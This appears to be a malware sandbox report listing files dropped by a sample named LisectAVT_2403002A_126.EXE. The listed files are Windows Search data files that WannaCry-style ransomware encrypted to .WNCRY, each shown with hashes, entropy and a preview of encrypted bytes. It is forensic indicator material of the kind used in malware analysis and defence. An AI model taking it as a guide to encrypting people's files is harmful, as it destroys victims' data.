                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c1232008-cc52-49cc-b5f1-23c1b5d7d5ac}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):47272
                                      Entropy (8bit):7.995946757004267
                                      Encrypted:true
                                      SSDEEP:768:FRxBtnh76b7N+p+syDzbtqPNO9vUM5VEIz9qNr4STRwqGa3xmRuT3kX9g0MHEmb/:F1tnh7y7Noy/btqQJ5lqNr4S929R5Cv7
                                      MD5:749C8B59F03F0C841932F0974BE874A1
                                      SHA1:6D05B51CA4377EBA35F4770D8AE8B9947FB02ECC
                                      SHA-256:4527A7CB25ABAE2A51294B61496F250231E635B8CD67764486D413727E0593E2
                                      SHA-512:3DF4041EB9867C0BF376EA0399E7CB69B59B57F420AA5ABE1CD342D3B557141A3E608B6365B86328E79D74E317A2700D92AEB0526734A3C48772FE3A1391CE4A
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....=t.&.U\..k...(.5z.X..'...!A.#..{...N......P.\V%.c.._.ZG. ...(..G..Z....,..JZ...0.........y..<T.}./vM.6V$....|...Z9.{.NwF8.k.).#.....S5B.Y....@...:..X.'.n^_..H.rEc)`C6l@..$.).}......!...3>.....a.V.......xj.....g....QK..0..*.....N..4Gl.].Ja;%l .1..K.............E.8....%.2.7m!..M....Jh?.j].....*..D..s`.........H;..../.....*....y.{...T(p=. .........T>.'.......t.)zYm.d....w7e.V3,.-.m..tFDj| .../.i.....'#i..)_....t.<...K...0.._.$..QS..d^....*...6.p.u.@...|...'g.+.q..N..R........,.9^.z.....o.r.......>.A.VQk.?L.j..+(..C..dM2.z]"..N.v.......S.Q....B$=Uk...g.&.U...Y.>..).vw.'.(..........m.x...b|.C.8.....h.F..'.6...f...(.&..s."}t...G....*.F...;....^Q.9.bF4.'.._u....YY&.....Gt..x...Y.t.....5.-F}.i..rk.ck...7U.2.1.....t.."..........Z...iQ.#.g"hC....".._.yW3h....$.[...L.x1\..T........[M..'..5.0.7...j..Ow.:GB...Q..,..X..Q...@.`..O..{......b..}.......r.C[.%T._YPR..4#+..>.o.n..zB.ms.v.d.%.....@.`}p....p...t.eC..c.....M.T.O..knm$..s.9.....*P+1

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c848d914-ba53-4c20-8f7c-784438ddc552}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):47272
                                      Entropy (8bit):7.995970137918115
                                      Encrypted:true
                                      SSDEEP:768:o5mJqd7m13ZjXHJl20SX1g7ksQyS2HbQoPymXCfXW3txplYbdPjukt:XMdiNZjy94tLQoahfXEJlYJSkt
                                      MD5:ED21C725E0751A1C652D1D806A1ABEC6
                                      SHA1:33C47BACCE1BFA73E2C8ED4E908C8E005E00B18E
                                      SHA-256:83D6E4AD1DA985B0A3A7BB1FD447E7B2BEDAB3683CFF8B9336B525ABEAB5D852
                                      SHA-512:3E8CC895E402A9590D87D998680774CDA4058FDAD1F1A513281F507749143847951C27D3BFAD5C0AF88FA57EC6D0F4C3C43AA0946B219A8C294DB1055E3770F4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....}.0...*^L..ZY.......f....k2......]JT.........[.U9?........U.%.T.....4.f.!f...$>tFJw;....F}.&)...Z.b...6..\4..q......dJA...f...."..>9. `?....%r........z.J..B...5..... <[.RZr....._*.."..`..%.-F.m...%...#.........M...1.....z..)...VB..b.._iv.~.............,...3Kt.e0.d3~...-.@.j6S8E>.!.l3...?....Z.5..Sc.Q.9....w.......n..cg].......q&6.o.eE.k...0...}'..v..{.......8..$.....~]k..S.N.JB.tb.B..~.f:.,65B...|.....@8...m.....D2....SKA.4S5..JHZ.|o;.l.w..;9...OAN..{....R...wS...L...o.9....,3....#.}r....'.....K35..G... ...w(.J..F[...M.....l6e.....A.=.u.n...V..A...{>z.\...0..4.....'C..e.y@d.R..r.;.....Z@n&t^(.....TX[swBT........R.~.......B..?......3...E.z ..".l.1.<xOv`...q......@f..}...].}+q..K...eVN3..#.W{.L.d.j.4.o..w....F.5.I.C..;....M"G.(.-U.r...t....cE.!.>...%,.*.S|~.BO>.(..8..H..w1.0...7=,....U..+"`.......|....a>..G....>S.=.b9P3...../.rWe.2./.......T.K..*..F.Y..O+..9.P...:u...<7j/u.....Sz..mp1AnT.}..6+.v...2....3.-.V._>..M..5.>.#.C.HE@A.....v

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{d17da1ee-054d-4d15-97a5-4869d17ec228}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):47272
                                      Entropy (8bit):7.996816532151573
                                      Encrypted:true
                                      SSDEEP:768:LzExvcma7GXih6O5UE708NETRj7EUP+MZjoIeMYAer3Rd/8B2e2dHHQAOM:L4xH1izUE7fEdjAu+MOIk1T/V5H/OM
                                      MD5:33A69F57F1A6C5779905105FABEB221C
                                      SHA1:6EAB6D14B05F941F90607951081EAC308D72C394
                                      SHA-256:CF2A74289E05CD1FC078B7456391E713BE037FBF2267B5F8542222F60AC63634
                                      SHA-512:4AE073980721EC28D85AAF386C20EE171DB44259D315E2B0A1B6C031DC8CDCF874631E9A94DA20651ABDE40168EAFA76A26178352375D5FCDBE33F46981DD659
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!........v....9..)..t..p.LR..#Y.>...(7Q.8l.Y.(..Sj...E..f.6.Ip9......{XsAf+..d...>`.T..8.x60@.zT'...e...mg.R.U.'k.cT.!}..9...Jr..J.N..U.!...A.o.C.r..&...U!>..G.].7c..U.5.:..zDl........d...`.GPK.N.eF....."@PX..0...+T,....D....A._.....c.<....`.u..[&6.....4.............u...N/+-. .....I..C.w[..I(.........|.F..T.....dO.....e6..m&.....[.im..}...*Y..O..TS._..&...jmDR`.ARk.!.2.^gi.j. ..|.....P.Ysn.........(..0]....q.....G..P......._....e+1.._:.~._".B^.....udu..kr.P..U...A.]vm..GY...{..v{v..+x.q....YC.>.A.V./......y..a....V.%M.....3W...G......)rc&....Sj..v.....{G..rE0E.7..|..?=.I..Y.OlC.9{....P.Hc....9S...N..T.....".Xz.OPo. ?........`Q.\...?......<...L..B..q.g.......f..}..q."..q..i!....<Q..1...._9.3e....0.3.....22V.JJ...J.h..{h....5...R.7....`.L8...KH.e..j...b...zw.C.C'.L..!......7.B......?.."\9..n..F..O...q..zF.......0..j..S.!g.......~._.8:yaP..1.V.>...s.x..uX..?...f0~.m.. V.K.d.....N}...|.w.k|&.v:.M....W^.'...1._..x;..p0.*..Nd.<1-....n...p

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appsconversions.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1426184
                                      Entropy (8bit):7.999896744608154
                                      Encrypted:true
                                      SSDEEP:24576:tEAfrBZ9uynNSyOafALXYcEokv8epEzS+/bCOzIKE5T5x3N1lT2Rq98HCCD:KmBZ1nkyOKALXYvokv8epEbuGIR3hSRd
                                      MD5:DF1971E22E49A676BF5051CCF5ADA3F8
                                      SHA1:975B9973391BFD47ED00B18C97D2BD5FDFE91E5D
                                      SHA-256:22347D02296705EADAABFE61AD8C618168FF255D8FA22B3A56070F18384FCFA7
                                      SHA-512:DC52FB332FB55532EEC97AB81018E29B802CC39BD8E889759C94BCE1FDCAA9FE34625201B19929BE28F902197B5D0AD32593C16DDBBF9904AD5CF313081E1FCF
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!......;.z..E'.nN......b...4.a.La.j).duQ.~......7...~.#`.P...~..u.$f/s.....6..0.......{.#..5.....8>u......-.!..rc.ry~.'Ps.&TUG{4.U......D-.!9..}L.}..\.@..I2.-.w...cV{.O....2H......L.4.....D`l0.N.}k.#.K.^.Bo.....C.m....^.%........8`..k@.`.(h.............~\.7......dBo.w..........#i.Lq.:Q..[..n..h..O.c...q.>:..O.P.u.|9.....x..r........h.....Wg.z..W.TvAEo..b<...M.'#I......u..c..g.uw./..<.j..dX.T.....2g...........0............f.2.k....b.=j..T-.....b."..(rx.O....k.iv..a{Z..K..I.....S...g"e?.DP~.)..>..>E......].r...@....NR..#&...]......P.E.(...n.X^.!...37+..eK.Q....\9i...X.x.X.gO.yV.5L.B6..v..Zi.p.E...p..~.Ks{4..:..vd.....<m.{..B....Ka.X..D.....z(....e.#9&...%6.K...Eo#.59%6..+...P..s..k.Br.|.r.V....q..........<....GOjE`/.U.I..?....[...]....c....2...Y.dgT.xfa*..y.......;.N..Z..D5J.n.4.".b*U.KYR..p..$.......R#.L9..........*.I...<.....n.9.X..922>a;.>..>.b.l....g.3.jgl.E.-..E.l....e....N.K..3.....K..... .`.....xUk@.>.%.........{.a.....Q

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingsconversions.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):533032
                                      Entropy (8bit):7.999613081931642
                                      Encrypted:true
                                      SSDEEP:12288:tI4bVxjo7IylD3zKo3H8BzukcElcdEPMJVR6aRflAZ7hNi7jY:K4B5cIyBV38dgElOEwg4flARni3Y
                                      MD5:D50BA3FD2CC5EDB7ACA722A0A38C9506
                                      SHA1:4868EC9B12E149C02234E940DC9C2345AD1CF2D6
                                      SHA-256:33C4495120923F32900CC8CE705BFE8A007D68FC5CF25F73C493938631CC4F3B
                                      SHA-512:235664AFC65A5C19E34FD4E165EDC837894A6B02C8F26C1AF0369B015748C23AF9DBF6EC24768C416CF0508D5272D30606FC0452BE0E8E203AA89C6CE67714C5
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!......E...X....8.(y.n.....)..</.......1. ...&...s..."....]...... c76.......5./r...?-.m.A....MH.r....kL.....jk.....s.V._[...#c<.:_.]..J8.J*.u...AD...3.w.ErY.W...V&.N...pw..E....zCh....Q.Iq.8E..L...z._..'.u......>M...y.5d.')...$...0.jxs......3.....;.......!........*....v']..y.G....v...t......1.,Gp.7.....7n...$ty./...IM....@...f:e.k....2>C...G....&A.w>...e...h....3..6zZ..jw.a..".T.u..|..:<...~..0n...?..8........4.P@./."XFJ.......j....SPVi"..2...F.X.$..H..kqG....q.i.j..p.#>caa.x...p.....[H......K,.JLi.../....; .Ll.`...4E.3Vn....y..{....t..1....{J.w.TAv..?@.+........ot.uy..%......@.#m.5.X-.UR....F .t..:.2X......wb...R.....|us....Ua]..a.zMZ.N....$..O..m.....[..L..?.Vy.W..&.X.Aw.H.9O..+.......&Fs5|..!..+=.............K....>,V..;2.m.!.W..2....[c.........<....SE..K.......Q.H./.%...%o....$.,...w*..(..._.*>"<e..&..5{<...M...../2.M....AL.lN/B....C.R...z*.1..@c.c....R{F.'...VXd....bZ.8....i.Hq...._=......o.......9 ...*.....=X....XP..e...=.{.~.?

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingsglobals.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):62648
                                      Entropy (8bit):7.996869557852048
                                      Encrypted:true
                                      SSDEEP:1536:PbIKRzIk7QUDxz/Osl3wvyIyEUAeX0RI0gT/N9HcLS:P7uk7JDFzAvyTEUFBrTb8G
                                      MD5:66BF5773DF776E338C1A2F05930D6D73
                                      SHA1:B6E2BAED70AED1AF12C482CE571CC56FC17B57B1
                                      SHA-256:7EC11241E7BD5D00F8BF44D2FBCD566C61ED1DC5A764C006C7D9F4A24704D671
                                      SHA-512:5A2E8CCBD3B70C3B39EFF8EAEB46CA9C0F4DCCE173022BBF3DF4BCC779A4D330377638983873DA39F21DA717FD91DA6B6F73725035CFD76B10A6F0DDBC6022EE
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....a2.0.)Z.1O/z..*7qt....b.Q..@.. "..V...[..!....-...6.u.)y:).7&..f..0.}r...FK...d/..t.>..f...I..S?......].z.8.....y.e`G._n.3x.0J,mX.5.P...P[..#.m...X.C..1..c.../.E.:....>.5Qf..;...._D.h.(x!H..;....cl....M..5.....n.T....n.0.....=...k....z...................3......(.).:..Q.^.,.L.....u....]o..>.C.>&W..h,...\oI..6L..!nL(..m.9.3 .. .........(...X....Y.I6..{N./.D.1.K..e5.Uq*v..|.L.w..........bp...y.i.G.V...=.&.+. ".".LS.G.".1.......3....Jl..;...)%...|...$......."n^a.v.=.....eM.M......S...|f...)...3;n.t.y..v...}.O..<......2%.+ A~._a".5.zjP.,.s........].um.[.."...Q.|.eq.).q....J.....2h.|4....Y...|...V.g.N.t.?..yv......I.1a..8g..Q...%)....:s^i...+..\.G..*..t.....l.T|.....vg..,.9..g..7....RN.\.. .?....A.n.5.rT....F.ml..Q..9..W.Bx...#5z4.pX..1FVYQ.z..#r...`M........J..l..w.\;.$BH=.......!..)"....W..sU...:4.r.%.M...<..9Np8...1|...n.../.|..P.N./.H..bC..z.4..bW;.z'.F*...S.;>20.6.B"g(..u...:..JVk...nab$\M..WHv./>..z...._....c.84..+=.

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingssynonyms.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):128936
                                      Entropy (8bit):7.998402273359693
                                      Encrypted:true
                                      SSDEEP:3072:UA8Amnyd37mhIx9Am/tG1SqEVF7CVM57vOI0QHqI9Rltx:WsjPp/t9Uq7vN0QH79
                                      MD5:11F3EC9EA245A5138C3AE49F55998AE7
                                      SHA1:6349D67338D40D64972C01BE2931F883C569ADCD
                                      SHA-256:EEF4445371B526B3A40343635F7903018529A0D23EB6118BC71066D02FCDE480
                                      SHA-512:0DBD998C256770881C41BF2DF65D9067700C849A1F77EBBBAE254A8B18C663B34F62C02002CA5D845EAA0A7F373A844F2FCD16F06CF8C0E7A1AC8A730401E89B
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!......N./...,..TG#....u..bb....%...........C,.~...WS.h......M4..^J....O.!.;...gC...D. ..f.....&..G..9..?......D.....Ef\I:.F..9......&...x=...m.........N..O.~...]...>~p.....Iw~.<..cf..7..~..6./..+.1._<...q.e...c......xdKZ...03.....j..O..H.I......WK...................-kH?\.1.f.4....'T...{n...b..*......jOv...-....N.L..).}cRi.H./.ey$a2....*.......?.IC....p..$..).q....;Z..`.3.>.. ?..1{..@.....;..J4..fd.I7....\.W\X.V..Bc?o.T...0....PkS..:^.N.L^W.(....J.qQ.h....=.....M..-F...Pi...........H........g....i..E..|7.ik......-...?A..V.l...TS.d_.).O..wq:..S..v.:-j..e....0..[....,.J.........qYo.....!..fo_*....g-.u.3.'P.G.V..2...(....Z.q.I.....n(1...r6ZC..H..$..5.].8..^;.....c.x...H....9.6..j.V8...C....>O.?..^..+..9..8.y.|. ....s...#..J...5u:....".\....X^ .x,.<.5J.3...?....&C.....?.....y...,&.{...H(.R.V;...%.o..\.....K.=...G|....];.>...mt....]....-(U.d~....S.Q.q.ZV.......F....kN.._...]MAs)N...7.b,...a..Pr...;..$.O.[.Z.......Si.0...`.2R...G......3..W

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{b5f948f2-ed43-4efa-a5e8-c66e8e4b2569}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):221672
                                      Entropy (8bit):7.999044775179738
                                      Encrypted:true
                                      SSDEEP:3072:8szH2HE3ihyUOaQu2kT3xwQzzk2IjIlYkYLFCzdL9VwWVTfGUYG6fUC1+PmwxmuS:8tReaQu2EgxslSFCBL0GuUY1Tuto0U31
                                      MD5:F0BF8DB23F9DE344A3A6894D30B8D475
                                      SHA1:473D6D1422BA104211C0C168EC33A6F1EB37F44B
                                      SHA-256:47B8D3D65362ED862121CFFC06467CE05C0DF75DB2D3B2D7556EC5A8A31C6E55
                                      SHA-512:2027E381DBC002C263FFD176EE8AB2EC431801670E82FC62738C97D9007A3E1B7DE453544FA225BD1CAF45744716AD8F4ECEA75EC12613FB51B98DBEC952EE4C
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....m*w8...Q..}.Z}:.<u...u:.`.\w{.H@ Y^t..Q0..tY..H.......=M..mQ.....P...e.@.QLq...5(..-...K....x..`T..3..3..F.8......mi!.ov.;U..b=..e.E../7.n...\Q.%..Y.m4..;.:....C.O..m..\k{.q...Ka....|.j.XN......w)......c.....'0.Sm.ah.&..N...;31.I8|T7y.....e........`......u{.].....}.3y..x..}.O2.......6yg...I..7R....Q2....i.o.v.d.RT..-e.f.......#..l.=(..QH....x@-.2..h.......].rG..F.RT.......y.......b$.f....8.aG60......G*.&C'B.lW.Q.Pz.+I,.....@.d.9..<...G....l.EV.]6..."...6.a1^.&.&?....j&.r..o..~;..8SR. z....K..,Hf"..~...Z.r.....r*'......g.... ..0...f....r..n..i2z...$.....]i+.6p......I?......E*......x...T.WJa.r^..c..#...\~&Y..-...,..._.s$....KB..C?..L].#.j....a..t...z..PM.S%.=.LP..2&.YI.Q.4c...........9y..e=....$..'x.M.dh..4$....%.b!@9v=.3C,....y..E.R...@..G-|Z..f.Y.$9..&...1%c.Bb......|.g'*. .9 .R..$..C{..h......|./...-..*.".B...U[m.]..."3..e.......[..p.p|...m!.2.(.....S...U....6(.......|...;..]o1'!.K..{.[.U.R.u..... ....".EB0....'63.d...s~....U]`..

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{fd8f40a4-ac14-48d6-9ef0-afd19dd2a012}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):214008
                                      Entropy (8bit):7.999181092363854
                                      Encrypted:true
                                      SSDEEP:3072:og4d6KiESvXOPTRkKW1I7lJMl47DWrb3c5eCqVYw+gpOX1UCvSbMDZURgVuKpI6k:ASvXC//ImDWrDXlgDFcK808cc
                                      MD5:9302CC0D234A22665EB978756EDCB0C4
                                      SHA1:762670DE3544EE4D885CE078A6DBC6A60C54C42C
                                      SHA-256:D63D8B3C7A1D0400DE9266C7C43392E95F82D6390CCE3FA38DEB29695E935AB7
                                      SHA-512:7336B81FED792A33CE597FD10F5DD45528BE48243BC4F8FF0AD65AF6B465DD97CAE380DB71DFE5FE5E091F1C4F6FFA51B3709E87376874106258913040131815
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!........z...]y.".n3.....#..-../...^A...9=...`S....u.....M..z ....X..0|.1y.).<.3..c7.T..ul.........@.7.......)....VU.1.A..i2w..N.Z.>nP4....l<....1u.3A.....yZ..'....un.........#.X..dm._L.U....q:..!.9&8.]#.:....M.H......L.7....f......_..G..3.P.............B......<").....t......i........ ....K-..tb,.....g-...1cZ...F.0 .....k.Z.kzk.76b.5.6$OP...._..H..N....^..0>W....a.{B.<....f....R..!.8u.Z&.....^.s...Co.6NP._[.....].$P.\Sc#............O.V.&...i.K...r9R..D=...H.O..j#.....+Y....Cu.g..u>.'.'m.4>.6.....&s./#B....?..i.k.z#.7}.D^L.,......s..P..F..x..6sH....0...Vk......~F.:..1.....l!...p.B{......cp.J%D..2w...%9.c(...#..`...0/1.Q.._z....|.r.=@T..d@_M.^&{..'...f....Q.6R.5.?...J....q..*..And.....fbJ.F!..!u....... .............5..#O4..V3#.!.3..fe....W`&..LmO:....%..3......`..Q....!91..0........dz.....R.H..p}... ..#E...{'O...Ac....D..<.S.U..Vz.......bu..<.JrN...>....b...2.....P...`Xy...H..+\.]..^P/..R.L.9-.p...b..y'..Y.;.Hak.2...LI....A...@.

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_10[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):202120
                                      Entropy (8bit):7.999008318630675
                                      Encrypted:true
                                      SSDEEP:6144:ypewjWPJGltB8sOWydG1bB3lAuP9W5RCw46w75vqr:yPoGmdcDAuliP4T7y
                                      MD5:10F4A71A8072CD4875228709E9EF965E
                                      SHA1:D9F94749EA71FFE619FF7849ECF6CCA7B57862B5
                                      SHA-256:005EF295DFA8A14CFDBFA4ED24925CB1090DD1879A8A9D99A8278E33F21B5624
                                      SHA-512:C574E0FA5BE14C4313AB8FCA67DF17884873BCE016CD0332EBB7B6C2890C6E900E4185B8E6320BC3BC7DEC10638E512334DB83E94AF52B055CA6D00DA1C4B74B
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....x....|....m.-.a..g.".'.pK.r....k.v....z.0 .e*Y4X..R......RW;..E....;........8~y..T.... pp>.mR......:.....I.#x.8.i..ht...h. .k*........jL..c*.......3. ..=..d...R..pJ.l}.....+.k....6....?G..zk.=..._...."\.C<..v.h8...z>.b...c'\.0.I.T..Q..o......c........g..Q~.F.'...u..._.V........-.......D....;..n..I!.x./(n...F...uM.1$.....d`.).rC.:...E|..y.*V.Kg.QL.*'K.XW...!3.......`...^.d..W.>.............F.......*..r_p*.-.+H....+.g7...'....Q...[...7.K...4}...`....3w.9...<..R...FX...........:.m.\....q..6).J2.....9F.| ....IH%...xP...v.V......Z..m.. .$*..;....O<3.G&<|cn)...:...o.h.Q....dt....0,..H..WPp..I?`.;..n..z5.H!..8..c..p..^N...B:....3...+|.......Mj.L$..*.?..X.{.y....]..j..$....1b'..1.h8.m....m.9q..T...'>H.tR..j.....J....@.]..c.4...R..W.....a8....6....L......{G..z.heW..E!....[....;H...o....n%......uN.....SJ*.3.V.W5............T..}.B...U.[U[F'...D...>.J.#.../~..XB...J....1._..I......{D.....C/.@..!j_.&>B.G..+^..O..~.!..{.-H.d.....u.R

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_11[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):34536
                                      Entropy (8bit):7.995141081857129
                                      Encrypted:true
                                      SSDEEP:768:bIKi58tlkg/HI57EBg+P0T6P4ZGq0gp4HsYrvka+dUHdQNao0t4f:8tIlkOo1ERMT7ZGeYYUd3E
                                      MD5:DEFD034A4A16266FF5D78459DD3A2493
                                      SHA1:7C2B20099A58EC02DBA87346CADDC3A81D8E17AB
                                      SHA-256:86DCDF8A6CE4CC2EEA630D48F5B2C8ECE0C67339EAB5CBDAE6432671F04921F0
                                      SHA-512:F4217FA53BFF1563D8AF128A776512609B792CEC95128C0D761077D7FA4676A1B21772B13299576F92DE08FD416D93036595E278EF22BD7A25CE9A1ED95E7972
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....*......Z...h.?zW........~7........."<..*...9.a...Tn\N7..............q_.L.{..q..).9.Vw..k...'...`_.AMT....g.I_Z.Mg..4N5......l."R..f.%..~....O.B....R.d...6p...^.Z.k..j..1.$.jX..T...../.:..K..~.=kE.D9..i../..'..4.VB.N.,.V...1eH5.e."..I.f.[Y...........p#. *...L.e.`:^..%f..?...0m...5....k.G......o....y....:.K....+.N?.Ry.p8.S..y"Xz... }...W....>......<.......l..#..n.J...i.....7p.LaC/.$.......I..V.t.V....Y.9......u....r-.:D.if....N...K.V..0...'!y..y..P.f...t._.f.....n*\Mj_.<.[.7...y..`....%TJ.2gu..T...|....}.ye...a..n.0x.]....._K....4..D..uT`.*....s.O..../;..(...F.{.|.]j...........%..9.PZEUt]=.0.......7.E.R..sk..N.SY...qI\zq.P:_....x.^.@...dN.#.I.+.@..!1..(.D(k...w...a\...f.}k.....Yx.R]Y...o..Bu....yE;I......zSCr....I%.1.Cd..}S .I....#A1.s....3.S.Xi...r.9.O..9D'9<.=.|.<}..?>.k8.DV...SU(&.g..A......._%#...5.n.p'Km[.j.y~q..X..C....t+.w9^......~V.&.V.).....3.:.C.<.....x..qD..@m..."..;...NM.i.3..r.$....;..o...($A..f....[..B...h...'.

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_12[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):227064
                                      Entropy (8bit):7.999207016899439
                                      Encrypted:true
                                      SSDEEP:6144:K5kbrgX2c0U/tV05TENUGQU1iteU1v66G8J4:ekbrgPD0h8LS7tJ4
                                      MD5:0EFA78B3AE2C586DBAFF3259CC7BD557
                                      SHA1:B4DA7B82C917CEC4C1A13874358F6716A3CBED0B
                                      SHA-256:4A1FC968E34B0701FD10C99631C54721A9C07E9B0D2E8C9ED8ABC14DAA2BF118
                                      SHA-512:0AD016124F98049EEF038FEEB2EB51453FE552B91208554A8C4719979D7D859A2B86B5C49F535FCE21932BD599174659F240144E131BA7DF9EFC46506E2DE4D7
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....4.J.G..~;.`.....:..&q.6..x.b..*+......b.+Q..;$.Uz.V=.+.-.\9.R;.f.8`..../]....t..L.).$.I:. ...8..^...]:7.&.i..\..s..<MA.P...^..5. .L.G~,g.....RP......Y.}..i...m.&....c.I....S.'....:...G\>.}{..yp.kS^s..w.S...".....J...C.....c..9.TjX..7r.o..6B.G...&.....u..........D....t...4.Bx.i`.N-m..S..Y.....!z....kO..........P.'.>Jm.t.q&f*)${P.....RN3...A...!.`...?f....p./V.-..x?.|..uzr......7..u.W..r...J....P...X..tg.\..Wp..6.f.......|..........*P(.f...EE.jI1....a..].....N..qv..ya$.4.....q.$Z..'.#(T.*........hA......-..3.v.l.....M..%...W.i4a..*N.\.hh..;..'...l.....%WX...r.en+.3=.y/yE|.......IK..........s......g..ApR&J0....)k..).t.6h...R4d..N"..R.2..{T.)..............h...._Hx..B.]f.S..-U;?{`...?o%....e..$.....{r.2.1B.|k....1..F...e[dB1..].Xj...`....*..*.V.C+.:._...y+...u.]..@..9.Pw..L..'.m.x.-T...$....#.nfj.O.S.....F...,...Y..f.c.S..Fk.I.........an...T..J.2".+.1.a..v...[.............].L.i... ..k...b/k_c..-j.W.....{.F.Su.....hn...S..

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_13[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):53752
                                      Entropy (8bit):7.996919462007046
                                      Encrypted:true
                                      SSDEEP:768:ecTipTBIrwHJeql9NIHUAUyPWhsQaRAhLTof5h2nntQo2j18NfsS7fKcBMhpEcGz:1+9OrwHwk9N4NUqKyBIaasSW6qKcCQfs
                                      MD5:E1661CEC24388ADDBC35F428CFF4A41F
                                      SHA1:C72A19B1F6CF742EBA12C9C1CCF3A3A29BB66A92
                                      SHA-256:DA0368CF5DEF9F5AAB8197BC1E212D244B5BED7897BC39496F2A5A08543628A7
